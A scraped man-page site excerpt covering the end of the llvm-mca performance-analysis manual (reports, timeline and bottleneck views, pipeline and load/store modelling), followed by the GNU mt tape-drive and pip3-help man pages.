[0]    [1]    [2]    [3]    [4]    [5]    [6]    [7]    [8]    [9]    [10]   [11]   [12]   [13]   Instructions:
 -      -      -      -     1.00    -     1.00    -      -      -      -      -      -      -     vmulps      %xmm0, %xmm1, %xmm2
 -      -      -     1.00    -     1.00    -      -      -      -      -      -      -      -     vhaddps     %xmm2, %xmm2, %xmm3
 -      -      -     1.00    -     1.00    -      -      -      -      -      -      -      -     vhaddps     %xmm3, %xmm3, %xmm4

According to this report, the dot-product kernel has been executed 300 times, for a total of 900 simulated instructions. The total number of simulated micro opcodes (uOps) is also 900.

The report is structured in three main sections. The first section collects a few performance numbers; the goal of this section is to give a very quick overview of the performance throughput. Important performance indicators are IPC, uOps Per Cycle, and Block RThroughput (Block Reciprocal Throughput).

Field DispatchWidth is the maximum number of micro opcodes that are dispatched to the out-of-order backend every simulated cycle. For processors with an in-order backend, DispatchWidth is the maximum number of micro opcodes issued to the backend every simulated cycle.

IPC is computed dividing the total number of simulated instructions by the total number of cycles.

Field Block RThroughput is the reciprocal of the block throughput. Block throughput is a theoretical quantity computed as the maximum number of blocks (i.e. iterations) that can be executed per simulated clock cycle in the absence of loop carried dependencies. Block throughput is superiorly limited by the dispatch rate, and the availability of hardware resources.

In the absence of loop-carried data dependencies, the observed IPC tends to a theoretical maximum which can be computed by dividing the number of instructions of a single iteration by the Block RThroughput.

Field ‘uOps Per Cycle’ is computed dividing the total number of simulated micro opcodes by the total number of cycles. A delta between Dispatch Width and this field is an indicator of a performance issue. In the absence of loop-carried data dependencies, the observed ‘uOps Per Cycle’ should tend to a theoretical maximum throughput which can be computed by dividing the number of uOps of a single iteration by the Block RThroughput.

Field uOps Per Cycle is bounded from above by the dispatch width. That is because the dispatch width limits the maximum size of a dispatch group. Both IPC and ‘uOps Per Cycle’ are limited by the amount of hardware parallelism. The availability of hardware resources affects the resource pressure distribution, and it limits the number of instructions that can be executed in parallel every cycle. A delta between Dispatch Width and the theoretical maximum uOps per Cycle (computed by dividing the number of uOps of a single iteration by the Block RThroughput) is an indicator of a performance bottleneck caused by the lack of hardware resources. In general, the lower the Block RThroughput, the better.

In this example, uOps per iteration/Block RThroughput is 1.50. Since there are no loop-carried dependencies, the observed uOps Per Cycle is expected to approach 1.50 when the number of iterations tends to infinity. The delta between the Dispatch Width (2.00), and the theoretical maximum uOp throughput (1.50) is an indicator of a performance bottleneck caused by the lack of hardware resources, and the Resource pressure view can help to identify the problematic resource usage.

The second section of the report is the instruction info view. It shows the latency and reciprocal throughput of every instruction in the sequence. It also reports extra information related to the number of micro opcodes, and opcode properties (i.e., ‘MayLoad’, ‘MayStore’, and ‘HasSideEffects’).

Field RThroughput is the reciprocal of the instruction throughput. Throughput is computed as the maximum number of instructions of a same type that can be executed per clock cycle in the absence of operand dependencies. In this example, the reciprocal throughput of a vector float multiply is 1 cycles/instruction. That is because the FP multiplier JFPM is only available from pipeline JFPU1.

Instruction encodings are displayed within the instruction info view when flag -show-encoding is specified.

Below is an example of -show-encoding output for the dot-product kernel:

Instruction Info: [1]: #uOps [2]: Latency [3]: RThroughput [4]: MayLoad [5]: MayStore [6]: HasSideEffects (U) [7]: Encoding Size

[1]    [2]    [3]    [4]    [5]    [6]    [7]    Encodings:                    Instructions:
 1      2     1.00                         4     c5 f0 59 d0                   vmulps %xmm0, %xmm1, %xmm2
 1      4     1.00                         4     c5 eb 7c da                   vhaddps        %xmm2, %xmm2, %xmm3
 1      4     1.00                         4     c5 e3 7c e3                   vhaddps        %xmm3, %xmm3, %xmm4

The Encoding Size column shows the size in bytes of instructions. The Encodings column shows the actual instruction encodings (byte sequences in hex).

The third section is the Resource pressure view. This view reports the average number of resource cycles consumed every iteration by instructions for every processor resource unit available on the target. Information is structured in two tables. The first table reports the number of resource cycles spent on average every iteration. The second table correlates the resource cycles to the machine instruction in the sequence. For example, every iteration of the instruction vmulps always executes on resource unit [6] (JFPU1 - floating point pipeline #1), consuming an average of 1 resource cycle per iteration. Note that on AMD Jaguar, vector floating-point multiply can only be issued to pipeline JFPU1, while horizontal floating-point additions can only be issued to pipeline JFPU0.

The resource pressure view helps with identifying bottlenecks caused by high usage of specific hardware resources. Situations with resource pressure mainly concentrated on a few resources should, in general, be avoided. Ideally, pressure should be uniformly distributed between multiple resources.

Timeline View

The timeline view produces a detailed report of each instruction’s state transitions through an instruction pipeline. This view is enabled by the command line option -timeline. As instructions transition through the various stages of the pipeline, their states are depicted in the view report. These states are represented by the following characters:

  • D : Instruction dispatched.

  • e : Instruction executing.

  • E : Instruction executed.

  • R : Instruction retired.

  • = : Instruction already dispatched, waiting to be executed.

  • - : Instruction executed, waiting to be retired.

Below is the timeline view for a subset of the dot-product example located in test/tools/llvm-mca/X86/BtVer2/dot-product.s and processed by llvm-mca using the following command:

$ llvm-mca -mtriple=x86_64-unknown-unknown -mcpu=btver2 -iterations=3 -timeline dot-product.s

Timeline view: 012345 Index 0123456789

[0,0]     DeeER.    .    .   vmulps   %xmm0, %xmm1, %xmm2
[0,1]     D==eeeER  .    .   vhaddps  %xmm2, %xmm2, %xmm3
[0,2]     .D====eeeER    .   vhaddps  %xmm3, %xmm3, %xmm4
[1,0]     .DeeE-----R    .   vmulps   %xmm0, %xmm1, %xmm2
[1,1]     . D=eeeE---R   .   vhaddps  %xmm2, %xmm2, %xmm3
[1,2]     . D====eeeER   .   vhaddps  %xmm3, %xmm3, %xmm4
[2,0]     .  DeeE-----R  .   vmulps   %xmm0, %xmm1, %xmm2
[2,1]     .  D====eeeER  .   vhaddps  %xmm2, %xmm2, %xmm3
[2,2]     .   D======eeeER   vhaddps  %xmm3, %xmm3, %xmm4


Average Wait times (based on the timeline view):
[0]: Executions
[1]: Average time spent waiting in a scheduler's queue
[2]: Average time spent waiting in a scheduler's queue while ready
[3]: Average time elapsed from WB until retire stage

      [0]    [1]    [2]    [3]
0.     3     1.0    1.0    3.3       vmulps   %xmm0, %xmm1, %xmm2
1.     3     3.3    0.7    1.0       vhaddps  %xmm2, %xmm2, %xmm3
2.     3     5.7    0.0    0.0       vhaddps  %xmm3, %xmm3, %xmm4
       3     3.3    0.5    1.4       <total>

The timeline view is interesting because it shows instruction state changes during execution. It also gives an idea of how the tool processes instructions executed on the target, and how their timing information might be calculated.

The timeline view is structured in two tables. The first table shows instructions changing state over time (measured in cycles); the second table (named Average Wait times) reports useful timing statistics, which should help diagnose performance bottlenecks caused by long data dependencies and sub-optimal usage of hardware resources.

An instruction in the timeline view is identified by a pair of indices, where the first index identifies an iteration, and the second index is the instruction index (i.e., where it appears in the code sequence). Since this example was generated using 3 iterations: -iterations=3, the iteration indices range from 0-2 inclusively.

Excluding the first and last column, the remaining columns are in cycles. Cycles are numbered sequentially starting from 0.

From the example output above, we know the following:

  • Instruction [1,0] was dispatched at cycle 1.

  • Instruction [1,0] started executing at cycle 2.

  • Instruction [1,0] reached the write back stage at cycle 4.

  • Instruction [1,0] was retired at cycle 10.

Instruction [1,0] (i.e., vmulps from iteration #1) does not have to wait in the scheduler’s queue for the operands to become available. By the time vmulps is dispatched, operands are already available, and pipeline JFPU1 is ready to serve another instruction. So the instruction can be immediately issued on the JFPU1 pipeline. That is demonstrated by the fact that the instruction only spent 1cy in the scheduler’s queue.

There is a gap of 5 cycles between the write-back stage and the retire event. That is because instructions must retire in program order, so [1,0] has to wait for [0,2] to be retired first (i.e., it has to wait until cycle 10).

In the example, all instructions are in a RAW (Read After Write) dependency chain. Register %xmm2 written by vmulps is immediately used by the first vhaddps, and register %xmm3 written by the first vhaddps is used by the second vhaddps. Long data dependencies negatively impact the ILP (Instruction Level Parallelism).

In the dot-product example, there are anti-dependencies introduced by instructions from different iterations. However, those dependencies can be removed at register renaming stage (at the cost of allocating register aliases, and therefore consuming physical registers).

Table Average Wait times helps diagnose performance issues that are caused by the presence of long latency instructions and potentially long data dependencies which may limit the ILP. Last row, <total>, shows a global average over all instructions measured. Note that llvm-mca, by default, assumes at least 1cy between the dispatch event and the issue event.

When the performance is limited by data dependencies and/or long latency instructions, the number of cycles spent while in the ready state is expected to be very small when compared with the total number of cycles spent in the scheduler’s queue. The difference between the two counters is a good indicator of how large of an impact data dependencies had on the execution of the instructions. When performance is mostly limited by the lack of hardware resources, the delta between the two counters is small. However, the number of cycles spent in the queue tends to be larger (i.e., more than 1-3cy), especially when compared to other low latency instructions.

Bottleneck Analysis

The -bottleneck-analysis command line option enables the analysis of performance bottlenecks.

This analysis is potentially expensive. It attempts to correlate increases in backend pressure (caused by pipeline resource pressure and data dependencies) to dynamic dispatch stalls.

Below is an example of -bottleneck-analysis output generated by llvm-mca for 500 iterations of the dot-product example on btver2.

Cycles with backend pressure increase [ 48.07% ] Throughput Bottlenecks: Resource Pressure [ 47.77% ] - JFPA [ 47.77% ] - JFPU0 [ 47.77% ] Data Dependencies: [ 0.30% ] - Register Dependencies [ 0.30% ] - Memory Dependencies [ 0.00% ]

Critical sequence based on the simulation:

              Instruction                         Dependency Information
 +----< 2.    vhaddps %xmm3, %xmm3, %xmm4
 |
 |    < loop carried >
 |
 |      0.    vmulps  %xmm0, %xmm1, %xmm2
 +----> 1.    vhaddps %xmm2, %xmm2, %xmm3         ## RESOURCE interference:  JFPA [ probability: 74% ]
 +----> 2.    vhaddps %xmm3, %xmm3, %xmm4         ## REGISTER dependency:  %xmm3
 |
 |    < loop carried >
 |
 +----> 1.    vhaddps %xmm2, %xmm2, %xmm3         ## RESOURCE interference:  JFPA [ probability: 74% ]

According to the analysis, throughput is limited by resource pressure and not by data dependencies. The analysis observed increases in backend pressure during 48.07% of the simulated run. Almost all those pressure increase events were caused by contention on processor resources JFPA/JFPU0.

The critical sequence is the most expensive sequence of instructions according to the simulation. It is annotated to provide extra information about critical register dependencies and resource interferences between instructions.

Instructions from the critical sequence are expected to significantly impact performance. By construction, the accuracy of this analysis is strongly dependent on the simulation and (as always) by the quality of the processor model in llvm.

Bottleneck analysis is currently not supported for processors with an in-order backend.

Extra Statistics to Further Diagnose Performance Issues

The -all-stats command line option enables extra statistics and performance counters for the dispatch logic, the reorder buffer, the retire control unit, and the register file.

Below is an example of -all-stats output generated by llvm-mca for 300 iterations of the dot-product example discussed in the previous sections.

Dynamic Dispatch Stall Cycles: RAT - Register unavailable: 0 RCU - Retire tokens unavailable: 0 SCHEDQ - Scheduler full: 272 (44.6%) LQ - Load queue full: 0 SQ - Store queue full: 0 GROUP - Static restrictions on the dispatch group: 0

Dispatch Logic - number of cycles where we saw N micro opcodes dispatched:
[# dispatched], [# cycles]
 0,              24  (3.9%)
 1,              272  (44.6%)
 2,              314  (51.5%)


Schedulers - number of cycles where we saw N micro opcodes issued:
[# issued], [# cycles]
 0,          7  (1.1%)
 1,          306  (50.2%)
 2,          297  (48.7%)

Scheduler's queue usage:
[1] Resource name.
[2] Average number of used buffer entries.
[3] Maximum number of used buffer entries.
[4] Total number of buffer entries.

 [1]            [2]        [3]        [4]
JALU01           0          0          20
JFPU01           17         18         18
JLSAGU           0          0          12


Retire Control Unit - number of cycles where we saw N instructions retired:
[# retired], [# cycles]
 0,           109  (17.9%)
 1,           102  (16.7%)
 2,           399  (65.4%)

Total ROB Entries:                64
Max Used ROB Entries:             35  ( 54.7% )
Average Used ROB Entries per cy:  32  ( 50.0% )


Register File statistics:
Total number of mappings created:    900
Max number of mappings used:         35

*  Register File #1 -- JFpuPRF:
   Number of physical registers:     72
   Total number of mappings created: 900
   Max number of mappings used:      35

*  Register File #2 -- JIntegerPRF:
   Number of physical registers:     64
   Total number of mappings created: 0
   Max number of mappings used:      0

If we look at the Dynamic Dispatch Stall Cycles table, we see the counter for SCHEDQ reports 272 cycles. This counter is incremented every time the dispatch logic is unable to dispatch a full group because the scheduler’s queue is full.

Looking at the Dispatch Logic table, we see that the pipeline was only able to dispatch two micro opcodes 51.5% of the time. The dispatch group was limited to one micro opcode 44.6% of the cycles, which corresponds to 272 cycles. The dispatch statistics are displayed by either using the command option -all-stats or -dispatch-stats.

The next table, Schedulers, presents a histogram displaying a count, representing the number of micro opcodes issued on some number of cycles. In this case, of the 610 simulated cycles, single opcodes were issued 306 times (50.2%) and there were 7 cycles where no opcodes were issued.

The Scheduler’s queue usage table shows that the average and maximum number of buffer entries (i.e., scheduler queue entries) used at runtime. Resource JFPU01 reached its maximum (18 of 18 queue entries). Note that AMD Jaguar implements three schedulers:

  • JALU01 - A scheduler for ALU instructions.

  • JFPU01 - A scheduler floating point operations.

  • JLSAGU - A scheduler for address generation.

The dot-product is a kernel of three floating point instructions (a vector multiply followed by two horizontal adds). That explains why only the floating point scheduler appears to be used.

A full scheduler queue is either caused by data dependency chains or by a sub-optimal usage of hardware resources. Sometimes, resource pressure can be mitigated by rewriting the kernel using different instructions that consume different scheduler resources. Schedulers with a small queue are less resilient to bottlenecks caused by the presence of long data dependencies. The scheduler statistics are displayed by using the command option -all-stats or -scheduler-stats.

The next table, Retire Control Unit, presents a histogram displaying a count, representing the number of instructions retired on some number of cycles. In this case, of the 610 simulated cycles, two instructions were retired during the same cycle 399 times (65.4%) and there were 109 cycles where no instructions were retired. The retire statistics are displayed by using the command option -all-stats or -retire-stats.

The last table presented is Register File statistics. Each physical register file (PRF) used by the pipeline is presented in this table. In the case of AMD Jaguar, there are two register files, one for floating-point registers (JFpuPRF) and one for integer registers (JIntegerPRF). The table shows that of the 900 instructions processed, there were 900 mappings created. Since this dot-product example utilized only floating point registers, the JFPuPRF was responsible for creating the 900 mappings. However, we see that the pipeline only used a maximum of 35 of 72 available register slots at any given time. We can conclude that the floating point PRF was the only register file used for the example, and that it was never resource constrained. The register file statistics are displayed by using the command option -all-stats or -register-file-stats.

In this example, we can conclude that the IPC is mostly limited by data dependencies, and not by resource pressure.

Instruction Flow

This section describes the instruction flow through the default pipeline of llvm-mca, as well as the functional units involved in the process.

The default pipeline implements the following sequence of stages used to process instructions.

  • Dispatch (Instruction is dispatched to the schedulers).

  • Issue (Instruction is issued to the processor pipelines).

  • Write Back (Instruction is executed, and results are written back).

  • Retire (Instruction is retired; writes are architecturally committed).

The in-order pipeline implements the following sequence of stages: * InOrderIssue (Instruction is issued to the processor pipelines). * Retire (Instruction is retired; writes are architecturally committed).

llvm-mca assumes that instructions have all been decoded and placed into a queue before the simulation start. Therefore, the instruction fetch and decode stages are not modeled. Performance bottlenecks in the frontend are not diagnosed. Also, llvm-mca does not model branch prediction.

Instruction Dispatch

During the dispatch stage, instructions are picked in program order from a queue of already decoded instructions, and dispatched in groups to the simulated hardware schedulers.

The size of a dispatch group depends on the availability of the simulated hardware resources. The processor dispatch width defaults to the value of the IssueWidth in LLVM’s scheduling model.

An instruction can be dispatched if:

  • The size of the dispatch group is smaller than processor’s dispatch width.

  • There are enough entries in the reorder buffer.

  • There are enough physical registers to do register renaming.

  • The schedulers are not full.

Scheduling models can optionally specify which register files are available on the processor. llvm-mca uses that information to initialize register file descriptors. Users can limit the number of physical registers that are globally available for register renaming by using the command option -register-file-size. A value of zero for this option means unbounded. By knowing how many registers are available for renaming, the tool can predict dispatch stalls caused by the lack of physical registers.

The number of reorder buffer entries consumed by an instruction depends on the number of micro-opcodes specified for that instruction by the target scheduling model. The reorder buffer is responsible for tracking the progress of instructions that are “in-flight”, and retiring them in program order. The number of entries in the reorder buffer defaults to the value specified by field MicroOpBufferSize in the target scheduling model.

Instructions that are dispatched to the schedulers consume scheduler buffer entries. llvm-mca queries the scheduling model to determine the set of buffered resources consumed by an instruction. Buffered resources are treated like scheduler resources.

Instruction Issue

Each processor scheduler implements a buffer of instructions. An instruction has to wait in the scheduler’s buffer until input register operands become available. Only at that point, does the instruction becomes eligible for execution and may be issued (potentially out-of-order) for execution. Instruction latencies are computed by llvm-mca with the help of the scheduling model.

llvm-mca’s scheduler is designed to simulate multiple processor schedulers. The scheduler is responsible for tracking data dependencies, and dynamically selecting which processor resources are consumed by instructions. It delegates the management of processor resource units and resource groups to a resource manager. The resource manager is responsible for selecting resource units that are consumed by instructions. For example, if an instruction consumes 1cy of a resource group, the resource manager selects one of the available units from the group; by default, the resource manager uses a round-robin selector to guarantee that resource usage is uniformly distributed between all units of a group.

llvm-mca’s scheduler internally groups instructions into three sets:

  • WaitSet: a set of instructions whose operands are not ready.

  • ReadySet: a set of instructions ready to execute.

  • IssuedSet: a set of instructions executing.

Depending on the operands availability, instructions that are dispatched to the scheduler are either placed into the WaitSet or into the ReadySet.

Every cycle, the scheduler checks if instructions can be moved from the WaitSet to the ReadySet, and if instructions from the ReadySet can be issued to the underlying pipelines. The algorithm prioritizes older instructions over younger instructions.

Write-Back and Retire Stage

Issued instructions are moved from the ReadySet to the IssuedSet. There, instructions wait until they reach the write-back stage. At that point, they get removed from the queue and the retire control unit is notified.

When instructions are executed, the retire control unit flags the instruction as “ready to retire.”

Instructions are retired in program order. The register file is notified of the retirement so that it can free the physical registers that were allocated for the instruction during the register renaming stage.

Load/Store Unit and Memory Consistency Model

To simulate an out-of-order execution of memory operations, llvm-mca utilizes a simulated load/store unit (LSUnit) to simulate the speculative execution of loads and stores.

Each load (or store) consumes an entry in the load (or store) queue. Users can specify flags -lqueue and -squeue to limit the number of entries in the load and store queues respectively. The queues are unbounded by default.

The LSUnit implements a relaxed consistency model for memory loads and stores. The rules are:

  1. A younger load is allowed to pass an older load only if there are no intervening stores or barriers between the two loads.

  2. A younger load is allowed to pass an older store provided that the load does not alias with the store.

  3. A younger store is not allowed to pass an older store.

  4. A younger store is not allowed to pass an older load.

By default, the LSUnit optimistically assumes that loads do not alias (-noalias=true) store operations. Under this assumption, younger loads are always allowed to pass older stores. Essentially, the LSUnit does not attempt to run any alias analysis to predict when loads and stores do not alias with each other.

Note that, in the case of write-combining memory, rule 3 could be relaxed to allow reordering of non-aliasing store operations. That being said, at the moment, there is no way to further relax the memory model (-noalias is the only option). Essentially, there is no option to specify a different memory type (e.g., write-back, write-combining, write-through; etc.) and consequently to weaken, or strengthen, the memory model.

Other limitations are:

  • The LSUnit does not know when store-to-load forwarding may occur.

  • The LSUnit does not know anything about cache hierarchy and memory types.

  • The LSUnit does not know how to identify serializing operations and memory fences.

The LSUnit does not attempt to predict if a load or store hits or misses the L1 cache. It only knows if an instruction “MayLoad” and/or “MayStore.” For loads, the scheduling model provides an “optimistic” load-to-use latency (which usually matches the load-to-use latency for when there is a hit in the L1D).

llvm-mca does not (on its own) know about serializing operations or memory-barrier like instructions. The LSUnit used to conservatively use an instruction’s “MayLoad”, “MayStore”, and unmodeled side effects flags to determine whether an instruction should be treated as a memory-barrier. This was inaccurate in general and was changed so that now each instruction has an IsAStoreBarrier and IsALoadBarrier flag. These flags are mca specific and default to false for every instruction. If any instruction should have either of these flags set, it should be done within the target’s InstrPostProcess class. For an example, look at the X86InstrPostProcess::postProcessInstruction method within llvm/lib/Target/X86/MCA/X86CustomBehaviour.cpp.

A load/store barrier consumes one entry of the load/store queue. A load/store barrier enforces ordering of loads/stores. A younger load cannot pass a load barrier. Also, a younger store cannot pass a store barrier. A younger load has to wait for the memory/load barrier to execute. A load/store barrier is “executed” when it becomes the oldest entry in the load/store queue(s). That also means, by construction, all of the older loads/stores have been executed.

In conclusion, the full set of load/store consistency rules are:

  1. A store may not pass a previous store.

  2. A store may not pass a previous load (regardless of -noalias).

  3. A store has to wait until an older store barrier is fully executed.

  4. A load may pass a previous load.

  5. A load may not pass a previous store unless -noalias is set.

  6. A load has to wait until an older load barrier is fully executed.

In-order Issue and Execute

In-order processors are modelled as a single InOrderIssueStage stage. It bypasses Dispatch, Scheduler and Load/Store unit. Instructions are issued as soon as their operand registers are available and resource requirements are met. Multiple instructions can be issued in one cycle according to the value of the IssueWidth parameter in LLVM’s scheduling model.

Once issued, an instruction is moved to IssuedInst set until it is ready to retire. llvm-mca ensures that writes are committed in-order. However, an instruction is allowed to commit writes and retire out-of-order if RetireOOO property is true for at least one of its writes.

Custom Behaviour

Due to certain instructions not being expressed perfectly within their scheduling model, llvm-mca isn’t always able to simulate them perfectly. Modifying the scheduling model isn’t always a viable option though (maybe because the instruction is modeled incorrectly on purpose or the instruction’s behaviour is quite complex). The CustomBehaviour class can be used in these cases to enforce proper instruction modeling (often by customizing data dependencies and detecting hazards that llvm-mca has no way of knowing about).

llvm-mca comes with one generic and multiple target specific CustomBehaviour classes. The generic class will be used if the -disable-cb flag is used or if a target specific CustomBehaviour class doesn’t exist for that target. (The generic class does nothing.) Currently, the CustomBehaviour class is only a part of the in-order pipeline, but there are plans to add it to the out-of-order pipeline in the future.

CustomBehaviour’s main method is checkCustomHazard() which uses the current instruction and a list of all instructions still executing within the pipeline to determine if the current instruction should be dispatched. As output, the method returns an integer representing the number of cycles that the current instruction must stall for (this can be an underestimate if you don’t know the exact number and a value of 0 represents no stall).

If you’d like to add a CustomBehaviour class for a target that doesn’t already have one, refer to an existing implementation to see how to set it up. The classes are implemented within the target specific backend (for example /llvm/lib/Target/AMDGPU/MCA/) so that they can access backend symbols.

Instrument Manager

On certain architectures, scheduling information for certain instructions do not contain all of the information required to identify the most precise schedule class. For example, data that can have an impact on scheduling can be stored in CSR registers.

One example of this is on RISCV, where values in registers such as vtype and vl change the scheduling behaviour of vector instructions. Since MCA does not keep track of the values in registers, instrument comments can be used to specify these values.

InstrumentManager’s main function is getSchedClassID() which has access to the MCInst and all of the instruments that are active for that MCInst. This function can use the instruments to override the schedule class of the MCInst.

On RISCV, instrument comments containing LMUL information are used by getSchedClassID() to map a vector instruction and the active LMUL to the scheduling class of the pseudo-instruction that describes that base instruction and the active LMUL.

Custom Views

llvm-mca comes with several Views such as the Timeline View and Summary View. These Views are generic and can work with most (if not all) targets. If you wish to add a new View to llvm-mca and it does not require any backend functionality that is not already exposed through MC layer classes (MCSubtargetInfo, MCInstrInfo, etc.), please add it to the /tools/llvm-mca/View/ directory. However, if your new View is target specific AND requires unexposed backend symbols or functionality, you can define it in the /lib/Target/<TargetName>/MCA/ directory.

To enable this target specific View, you will have to use this target’s CustomBehaviour class to override the CustomBehaviour::getViews() methods. There are 3 variations of these methods based on where you want your View to appear in the output: getStartViews(), getPostInstrInfoViews(), and getEndViews(). These methods returns a vector of Views so you will want to return a vector containing all of the target specific Views for the target in question.

Because these target specific (and backend dependent) Views require the CustomBehaviour::getViews() variants, these Views will not be enabled if the -disable-cb flag is used.

Enabling these custom Views does not affect the non-custom (generic) Views. Continue to use the usual command line arguments to enable / disable those Views.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1972 - Linux cli command mt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mt and provides detailed information about the command mt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mt.

NAME 🖥️ mt 🖥️

control magnetic tape drive operation

SYNOPSIS

mt [-V] [-f device] [–file=device] [–rsh-command=command] [–version] operation [count]

DESCRIPTION

This manual page documents the GNU version of mt. mt performs the given operation, which must be one of the tape operations listed below, on a tape drive.

The default tape device to operate on is taken from the file /usr/include/sys/mtio.h when mt is compiled. It can be overridden by giving a device file name in the environment variable TAPE or by a command line option (see below), which also overrides the environment variable.

The device must be either a character special file or a remote tape drive. To use a tape drive on another machine as the archive, use a filename that starts with `HOSTNAME:’. The hostname can be preceded by a username and an `@’ to access the remote tape drive as that user, if you have permission to do so (typically an entry in that user’s `~/.rhosts’ file).

The available operations are listed below. Unique abbreviations are accepted. Not all operations are available on all systems, or work on all types of tape drives. Some operations optionally take a repeat count, which can be given after the operation name and defaults to 1.

eof, weof
Write count EOF marks at current position.

fsf
Forward space count files. The tape is positioned on the first block of the next file.

bsf
Backward space count files. The tape is positioned on the first block of the next file.

fsr
Forward space count records.

bsr
Backward space count records.

bsfm
Backward space count file marks. The tape is positioned on the beginning-of-the-tape side of the file mark.

fsfm
Forward space count file marks. The tape is positioned on the beginning-of-the-tape side of the file mark.

asf
Absolute space to file number count. Equivalent to rewind followed by fsf count.

seek
Seek to block number count.

eom
Space to the end of the recorded media on the tape (for appending files onto tapes).

rewind
Rewind the tape.

offline, rewoffl
Rewind the tape and, if applicable, unload the tape.

status
Print status information about the tape unit.

retension
Rewind the tape, then wind it to the end of the reel, then rewind it again.

erase
Perform long erase of tape. If count is 0, perform short erase of tape (some devices do not support this).

mt exits with a status of 0 if the operation succeeded, 1 if the operation or device name given was invalid, or 2 if the operation failed.

OPTIONS

-f, **–file=**device
Use device as the file name of the tape drive to operate on. To use a tape drive on another machine, use a filename that starts with `HOSTNAME:’. The hostname can be preceded by a username and an `@’ to access the remote tape drive as that user, if you have permission to do so (typically an entry in that user’s `~/.rhosts’ file).

**–rsh-command=**command
Notifies mt that it should use command to communicate with remote devices instead of /usr/bin/ssh or /usr/bin/rsh.

-V, –version
Print the version number of mt.

BUG REPORTS

Report bugs to <[email protected]>.

COPYRIGHT

Copyright © 2014 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1973 - Linux cli command pip3-help

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-help and provides detailed information about the command pip3-help, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-help.

NAME 🖥️ pip3-help 🖥️

help - description of pip3 help command

DESCRIPTION

Show help for commands

USAGE

python -m pip help

OPTIONS

-h, –help
Show help.

(environment variable: PIP_HELP)

–debug
Let unhandled exceptions propagate outside the main subroutine, instead of logging them to stderr.

(environment variable: PIP_DEBUG)

–isolated
Run pip in an isolated mode, ignoring environment variables and user configuration.

(environment variable: PIP_ISOLATED)

–require-virtualenv
Allow pip to only run in a virtual environment; exit with an error otherwise.

(environment variable: PIP_REQUIRE_VIRTUALENV, PIP_REQUIRE_VENV)

–python <python>
Run pip with the specified Python interpreter.

(environment variable: PIP_PYTHON)

-v, –verbose
Give more output. Option is additive, and can be used up to 3 times.

(environment variable: PIP_VERBOSE)

-V, –version
Show version and exit.

(environment variable: PIP_VERSION)

-q, –quiet
Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).

(environment variable: PIP_QUIET)

–log <path>
Path to a verbose appending log.

(environment variable: PIP_LOG, PIP_LOG_FILE, PIP_LOCAL_LOG)

–no-input
Disable prompting for input.

(environment variable: PIP_NO_INPUT)

–keyring-provider <keyring_provider>
Enable the credential lookup via the keyring library if user input is allowed. Specify which mechanism to use [disabled, import, subprocess]. (default: disabled)

(environment variable: PIP_KEYRING_PROVIDER)

–proxy <proxy>
Specify a proxy in the form scheme://[user:passwd@]proxy.server:port.

(environment variable: PIP_PROXY)

–retries <retries>
Maximum number of retries each connection should attempt (default 5 times).

(environment variable: PIP_RETRIES)

–timeout <sec>
Set the socket timeout (default 15 seconds).

(environment variable: PIP_TIMEOUT, PIP_DEFAULT_TIMEOUT)

–exists-action <action>
Default action when a path already exists: (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.

(environment variable: PIP_EXISTS_ACTION)

–trusted-host <hostname>
Mark this host or host:port pair as trusted, even though it does not have valid or any HTTPS.

(environment variable: PIP_TRUSTED_HOST)

–cert <path>
Path to PEM-encoded CA certificate bundle. If provided, overrides the default. See ‘SSL Certificate Verification’ in pip documentation for more information.

(environment variable: PIP_CERT)

–client-cert <path>
Path to SSL client certificate, a single file containing the private key and the certificate in PEM format.

(environment variable: PIP_CLIENT_CERT)

–cache-dir <dir>
Store the cache data in <dir>.

(environment variable: PIP_CACHE_DIR)

–no-cache-dir
Disable the cache.

